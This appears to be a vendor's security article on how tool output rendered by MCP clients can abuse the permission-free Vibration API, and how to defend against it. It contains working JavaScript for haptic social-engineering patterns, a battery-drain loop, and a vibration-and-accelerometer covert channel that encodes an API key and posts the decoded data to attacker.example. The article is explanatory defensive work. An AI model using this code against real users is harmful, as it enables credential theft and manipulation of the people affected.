Security Deep Dive · Vibration API · Physical Covert Channel · Social Engineering · MCP Servers

MCP Server Vibration API Deep Dive: no-permission haptic output, social engineering urgency patterns, and the physical covert channel

The Vibration API gives JavaScript direct access to a device's haptic motor via navigator.vibrate() — with no permission prompt, no browser indicator, and no Permissions-Policy directive to block it. In an MCP server context, tool output can exploit this to social-engineer users by mimicking Android alarm and notification vibration patterns, drain battery through continuous motor activation, or encode binary data in precisely timed vibration pulses that a co-located device with an accelerometer can decode. That last path creates a physical-layer exfiltration channel that bypasses every network security control: CSP, firewall rules, connect-src — none of it applies when the data leaves the device as mechanical vibration.

Published 2026-06-26 · 14 min read

The Vibration API: what it exposes and what it doesn't gate

The W3C Vibration API specification defines a single method on the Navigator interface. The design is intentionally minimal: one function, three calling conventions, no permission required.

// Form 1: single pulse
// vibrate for N milliseconds, then stop
navigator.vibrate(200);

// Form 2: pattern — alternating [vibrate, pause, vibrate, pause, ...]
// values are durations in milliseconds
navigator.vibrate([500, 200, 500, 200, 200, 100, 200]);

// Form 3: cancel any ongoing vibration
navigator.vibrate(0);
// equivalent: navigator.vibrate([]);

// Return values
// true  — vibration command accepted (device has motor and API is available)
// false — device has no vibration motor, or API not available in this context

The specification deliberately omits a permission model. The rationale at design time (2012–2014) was that vibration has no meaningful privacy implication — it only affects the physical device, not data about the user. That reasoning held when browsers were used on personal phones for personal browsing. It does not hold in an MCP context, where an AI tool response is rendered in a privileged origin that may have access to sensitive data, where the user may be in a professional setting, and where the vibration motor is physically proximate to other sensors on other devices.

The API is available on:

The attack surface is primarily mobile. Desktop Chrome and macOS return false from navigator.vibrate() with no effect. But Android MCP clients — including browser-based Claude access on Android — are fully affected. If your MCP server's tool output is consumed via an Android browser or Android WebView application, the Vibration API is live in that context with no permission barrier.

Attack path 1: social engineering via haptic urgency patterns

Mobile operating systems have trained users to associate specific vibration patterns with specific events. Android and iOS ship standardized vibration patterns for notifications, calls, alarms, and system alerts. These patterns are tuned to feel urgent and attention-demanding — decades of UX design have made users physiologically respond to them by picking up their device, checking the screen, or acting on a perceived alert.

An MCP tool response that includes a navigator.vibrate() call with one of these patterns exploits that conditioning to manipulate user behavior without any visual component — the user's natural assumption is that the vibration came from their OS or another app.

PatternMimicked OS eventSocial engineering goalAttacker's benefit
[100, 50, 100] Android new message / notification (two short pulses) User picks up phone, looks at screen Diverts attention from reviewing suspicious MCP tool output; user misses the active session
[500, 200, 500, 200, 500] Urgent alert / alarm pattern (three long pulses) User feels physical urgency; heightened arousal state Exploit urgency bias — user is more likely to click "Yes" on a permission dialog or confirm an action in elevated stress state
[50, 50, 50, 50, 50, 50, 50] Incoming call (rapid short pulses) User expects a call; unlocks device to check Abort an active security review or audit at the critical moment; user walks away from MCP session
Continuous: Array(120).fill(50).flatMap(v => [v, 30]) None — unusual persistent rumble Device feels faulty or critically overloaded User force-closes MCP client thinking it's misbehaving; aborts in-progress detection or audit workflow
[200, 100, 200, 100, 200, 100, 200] Low battery warning (some Android OEMs) User looks for charger, reduces usage Reduces session duration; limits the user's MCP session before a sensitive operation completes

The key asymmetry: unlike Camera or Microphone access — where browser chrome shows a recording indicator — vibration produces no visible UI feedback. There is no notification that a web page triggered vibration. The user has no reliable way to distinguish OS-triggered vibration from page-triggered vibration without inspecting the JavaScript console. Every vibration pattern in the table above is attributable to "probably my phone" in the user's mental model.

Urgency engineering in the context of MCP permission prompts. If MCP tool output triggers a vibration pattern matching an urgent alarm immediately before requesting a browser permission (camera, microphone, clipboard access), the user's elevated arousal state increases the probability of clicking "Allow" without carefully reading the permission dialog. This is not hypothetical — urgency-induced compliance is a well-documented persuasion mechanism, and vibration uniquely creates urgency through a physical channel that feels independent of the current screen activity.

Attack path 2: battery drain via continuous motor activation

The vibration motor (technically an eccentric rotating mass motor or a linear resonant actuator in higher-end devices) is one of the highest instantaneous power consumers in a mobile device. Power draw measurements from published teardown analyses and battery characterization studies place typical vibration motor power consumption at:

Device classMotor typePower draw (vibrating)Battery drain (4000 mAh, continuous)
Budget Android (< $200) Eccentric Rotating Mass (ERM) 30–50 mW ~0.75–1.25% per hour (4000 mAh)
Mid-range Android ($200–$500) ERM or Linear Resonant Actuator (LRA) 50–80 mW ~1.25–2% per hour
Flagship Android ($500+) LRA with haptic feedback IC 80–200 mW peak, 50–80 mW sustained ~1.25–2% per hour sustained

At 1–2% per hour, the drain alone doesn't constitute a rapid DoS. But consider the context of an MCP session: a long-running agentic workflow might run for 2–4 hours. An overnight session might run for 8 hours. A pattern of repeated motor activations adding up to near-continuous vibration over a multi-hour session contributes 2–16% battery drain from vibration alone, on top of normal display and CPU consumption. On a device already at 30% battery, this is meaningful.

// Battery drain via continuous vibration
// navigator.vibrate() maximum single duration is typically 10 seconds (browser-clamped)
// To achieve continuous vibration: re-call before current vibration ends

function startContinuousVibration() {
  // 4900ms vibration + 50ms gap before re-call = ~4950ms cycle
  // Effectively continuous from the user's perception
  navigator.vibrate(4900);
  setTimeout(startContinuousVibration, 4950);
}

// Or using the pattern array for a sustained effect:
function sustainedBurst() {
  // 9 × (500ms on + 50ms off) = 4950ms total, feels continuous
  navigator.vibrate([
    500, 50, 500, 50, 500, 50,
    500, 50, 500, 50, 500, 50,
    500, 50, 500, 50, 500
  ]);
  setTimeout(sustainedBurst, 5000);
}

startContinuousVibration();

Beyond battery, continuous vibration serves as an interference mechanism. Vibration blurs fine motor actions — touch targets become harder to hit accurately when the device is shaking. For MCP interactions that require precise on-screen selections (confirming a destructive action, reviewing a code diff, signing a document), continuous background vibration degrades the accuracy of the interaction itself.

Attack path 3: the physical covert channel — vibration encoding and accelerometer decoding

This is the most technically sophisticated of the three attack paths, and the one most likely to be underestimated: the Vibration API can be used to exfiltrate data without any network connection. The data pathway is entirely physical: encode data in vibration timing on Device A, decode the vibration using an accelerometer on Device B placed on the same surface.

Why this works: the physics of vibration coupling

When a smartphone vibrates, the eccentric rotating mass imparts mechanical displacement to the device's chassis. That displacement propagates through any rigid surface the device is resting on — a table, a desk, a shelf. A second device on that same surface detects the vibration through its accelerometer, which measures physical acceleration including the micro-vibrations transmitted through the surface. The signal is weaker than a direct accelerometer reading but measurable with commercially available sensors at standard polling rates (60–100 Hz).

Academic research on this attack class (VibraPhone, AcCelerate, and related work from 2013–2023) has demonstrated:

Encoding scheme: duration modulation

The simplest and most reliable encoding uses vibration duration to represent bit values. The key insight is that the Vibration API's pattern array gives precise millisecond-level control over vibration timing, and an accelerometer on the receiving device can detect "vibrating vs not vibrating" at its polling rate.

// Transmitter side (Device A — the compromised MCP client)
// Encoding scheme: duration modulation
// Bit '1' = 120ms vibration; Bit '0' = 60ms vibration
// Bit separator = 250ms silence (no vibration)
// Byte separator = 600ms silence

function encodeVibratePayload(text) {
  const bytes = new TextEncoder().encode(text);
  const pattern = [];

  for (const byte of bytes) {
    // Encode each byte MSB-first (8 bits per byte)
    for (let bit = 7; bit >= 0; bit--) {
      const isOne = (byte >> bit) & 1;
      pattern.push(isOne ? 120 : 60);   // vibrate: 120ms = '1', 60ms = '0'
      pattern.push(250);                 // inter-bit silence
    }
    pattern.push(600);                   // inter-byte silence (replaces last inter-bit pause)
    pattern.pop();                       // remove the last inter-bit 250ms
    pattern.push(600);                   // replace with longer byte separator
  }

  return pattern;
}

// Transmit: exfiltrate an API key via vibration
// "apikey=sk-ant-..." at ~4 bits/second = ~20 seconds for 10 chars
const payload = 'sk-ant-api03-...'.slice(0, 16);  // first 16 chars ~30 seconds
navigator.vibrate(encodeVibratePayload(payload));

Throughput is low but sufficient for high-value short payloads. At 4 bits/second effective throughput (accounting for separator overhead), transmitting a 16-character API key takes approximately 32 seconds. An AWS secret key (40 chars) takes ~80 seconds. A session cookie (64 chars) takes ~2 minutes. These durations are within the range of a normal MCP tool interaction, and the user sees nothing unusual — the device vibrating while "processing" a result is plausible.

Receiver side: accelerometer-as-decoder in JavaScript

The receiving device only needs JavaScript access to an accelerometer. In a browser context, this is the Generic Sensor API's Accelerometer or LinearAccelerationSensor class. On Android, accelerometer data is available without a permission prompt. A second browser tab or a second device running a malicious page can serve as the receiver:

// Receiver side (Device B — co-located, on same desk surface)
// Decodes duration-modulated vibration from nearby device

const THRESHOLD = 0.08;     // acceleration magnitude threshold: "vibrating" vs "still"
                            // calibrated to desk surface coupling strength
const ONE_MIN  = 90;        // minimum duration (ms) to classify as bit '1'
const ONE_MAX  = 150;       // maximum duration (ms) to classify as bit '1'
const ZERO_MIN = 30;        // minimum duration (ms) to classify as bit '0'
const ZERO_MAX = 90;        // maximum duration (ms) to classify as bit '0'

let vibratingStart = null;
let bitBuffer = [];
let byteBuffer = [];

const sensor = new LinearAccelerationSensor({ frequency: 100 }); // 100 Hz polling

sensor.addEventListener('reading', () => {
  // Z-axis most sensitive to desk surface vibration coupling
  const magnitude = Math.abs(sensor.z);
  const now = performance.now();
  const isVibrating = magnitude > THRESHOLD;

  if (isVibrating && vibratingStart === null) {
    vibratingStart = now;  // rising edge detected
  } else if (!isVibrating && vibratingStart !== null) {
    // Falling edge — measure pulse duration
    const duration = now - vibratingStart;
    vibratingStart = null;

    if (duration >= ONE_MIN && duration <= ONE_MAX) {
      bitBuffer.push(1);
    } else if (duration >= ZERO_MIN && duration <= ZERO_MAX) {
      bitBuffer.push(0);
    }

    // Accumulate full byte (8 bits)
    if (bitBuffer.length === 8) {
      const byte = bitBuffer.reduce((acc, b, i) => acc | (b << (7 - i)), 0);
      byteBuffer.push(byte);
      bitBuffer = [];
    }

    // Every 4 bytes, send accumulated decoded data
    if (byteBuffer.length >= 4) {
      const text = new TextDecoder().decode(new Uint8Array(byteBuffer));
      fetch('https://attacker.example/recv', {
        method: 'POST',
        body: text
      });
      byteBuffer = [];
    }
  }
});

sensor.start();

The physical covert channel has properties that make it qualitatively different from other exfiltration paths:

The Geolocation and Generic Sensor API comparison: why vibration is distinct

The Geolocation API requires an explicit user permission grant. The Generic Sensor API (accelerometer, gyroscope) requires a permission on iOS and is subject to Permissions-Policy controls. The Vibration API requires neither. This absence of any permission gate makes it uniquely accessible to any MCP tool output that runs in a browser context — there is no permission store to check, no prompt to social-engineer past, no browser indicator to inspect.

APIPermission requiredPermissions-Policy directiveBrowser indicatorMCP threat level
Geolocation Yes (one-time grant) Yes: geolocation=() No indicator (location icon varies by browser) High (persistent after grant)
Generic Sensor API (Accelerometer) Android: No; iOS: Yes (gesture) Yes: accelerometer=(), gyroscope=() None High (no prompt on Android)
Vibration API No — never None — does not exist None High (immediate, zero barriers)
Camera / Microphone Yes (every session or per-origin) Yes: camera=(), microphone=() Hardware indicator light Medium (visible indicator)

Defenses: limited options, real mitigations

The absence of a Permissions-Policy directive for the Vibration API is not an oversight the current version of the spec addresses. Browser vendors have discussed restricting it to user-activation contexts (requiring a click or key event before calling vibrate), but the W3C spec does not mandate this and browser implementations vary. As of 2026, the available defenses are:

1. Cross-origin iframe sandboxing

The most reliable architectural defense is to render MCP tool output in a sandboxed cross-origin iframe. The HTML sandbox attribute, when applied to an iframe without allow-scripts or with appropriate restrictions, prevents the iframe from accessing the Vibration API:

<!-- Cross-origin sandboxed iframe for tool output rendering -->
<!-- 'allow-same-origin' is intentionally OMITTED to prevent permission inheritance -->
<!-- 'allow-scripts' is required for rich tool output but excludes vibration in a sandboxed origin -->
<iframe
  src="https://sandbox.tool-renderer.company.com/render"
  sandbox="allow-scripts allow-forms"
  ></iframe>

<!-- When cross-origin iframe is used WITHOUT allow-same-origin:
     - No document.cookie access
     - No localStorage
     - navigator.vibrate() is available ONLY if the sandboxed origin has no vibration restriction
     SAFER: use a separate subdomain for the renderer that explicitly sets
     Permissions-Policy headers for all controllable APIs
-->

Note: the sandbox attribute does not explicitly control the Vibration API — there is no allow-vibration token in the sandbox token list. The protection here comes from the combination of cross-origin isolation (the sandboxed iframe cannot read parent document data) and the inability of the sandboxed context to exfiltrate data over the network (without allow-same-origin, fetch() is restricted).

2. Content Security Policy to block exfiltration-adjacent paths

CSP cannot block navigator.vibrate() itself — there is no CSP directive for vibration. But CSP can block the exfiltration paths used in the physical covert channel attack by restricting where the receiving device can send data:

# Block the accelerometer receiver from exfiltrating decoded data
# If the receiving device's browser page also runs under CSP:
Content-Security-Policy: connect-src 'self';

# On the MCP client: block inline script execution to prevent
# navigator.vibrate() in injected tool output HTML
Content-Security-Policy: script-src 'nonce-{nonce}' 'strict-dynamic';

The second directive (nonce-based script-src) prevents navigator.vibrate() from running as an inline script in rendered tool output HTML. However, if the MCP client executes tool output as JavaScript directly (rather than rendering it as static HTML), this protection does not apply.

3. MCP client output sanitization

The most targeted defense for MCP server developers is to sanitize JavaScript in tool output before rendering. A client-side sanitization pass can remove or block navigator.vibrate calls from rendered HTML:

// MCP client tool output sanitizer (conceptual)
// Strip navigator.vibrate() from tool output HTML before rendering

function sanitizeToolOutput(html) {
  // DOMParser approach: parse HTML, walk scripts, remove vibrate calls
  const parser = new DOMParser();
  const doc = parser.parseFromString(html, 'text/html');

  doc.querySelectorAll('script').forEach(script => {
    // Remove scripts containing vibrate calls
    if (/navigator\.vibrate\s*\(/.test(script.textContent)) {
      script.remove();
    }
  });

  // Strip inline event handlers with vibrate
  doc.querySelectorAll('[onclick],[onload],[onerror]').forEach(el => {
    ['onclick', 'onload', 'onerror'].forEach(attr => {
      if (el.getAttribute(attr)?.includes('vibrate')) {
        el.removeAttribute(attr);
      }
    });
  });

  return doc.documentElement.outerHTML;
}

Sanitization is bypassable. String matching on "vibrate" is an incomplete defense — attackers can obfuscate: navigator['vibr'+'ate'](200), window.navigator.vibrate, indirect calls via eval, or prototype chain access. Sanitization reduces the threat from unsophisticated payloads but should not be the sole defense. Cross-origin iframe isolation is more robust because it changes the architectural boundary rather than attempting to detect attack patterns.

Defense matrix

DefenseBlocks vibration?Blocks exfiltration?CostLimitations
Cross-origin iframe sandboxing Partial — does not block vibrate() call itself Yes — blocks network exfiltration paths in sandboxed context Medium — requires architectural refactor Physical covert channel still operates if motor is activated
CSP script-src with nonces Yes for inline scripts Partial — blocks fetch/XHR, not sendBeacon in all browsers Low–Medium — requires nonce injection per response Does not block vibrate() in externally loaded scripts from allowed origins
Output sanitization (pattern matching) Partial — bypassable via obfuscation No Low Arm-race with obfuscation; false positives possible
MCP client OS permission (Android) No — OS does not gate vibration per-app for WebView No No OS-level control available
Permissions-Policy header No — no directive exists No Gap in the Permissions-Policy specification; under discussion in W3C

What SkillAudit checks in an MCP server audit

When auditing an MCP server for Vibration API security issues, SkillAudit's scanner examines:

High Tool output templates or static responses containing navigator.vibrate() calls with encoded data patterns consistent with covert channel encoding (alternating short/long pulses, byte-length patterns)
High Tool output containing continuously-rescheduled vibration patterns via setTimeout + vibrate() — battery drain or user-disruption payload
High Tool output containing urgency-pattern vibration (alarm-pattern arrays of [500, 200, 500, ...]) immediately before or combined with permission request flows — social engineering via haptic urgency
Medium MCP server tool output rendered without cross-origin sandboxed iframe architecture — Vibration API available to all rendered HTML with no network-exfiltration isolation boundary
Medium No Content-Security-Policy script-src policy restricting inline JavaScript in rendered tool output — vibrate() callable from any injected script block
Low MCP server documentation does not address Vibration API behavior for Android WebView deployments — operators lack awareness of the attack surface on mobile clients

Security review checklist

Related deep dives: Generic Sensor API deep dive (the accelerometer-as-receiver side of this attack), DeviceMotionEvent security, Vibration API security guide.

Run a full audit. Paste your MCP server's GitHub URL at skillaudit.dev for a graded security report covering the Vibration API, Generic Sensor API, Geolocation, and the full browser permission surface — in 60 seconds.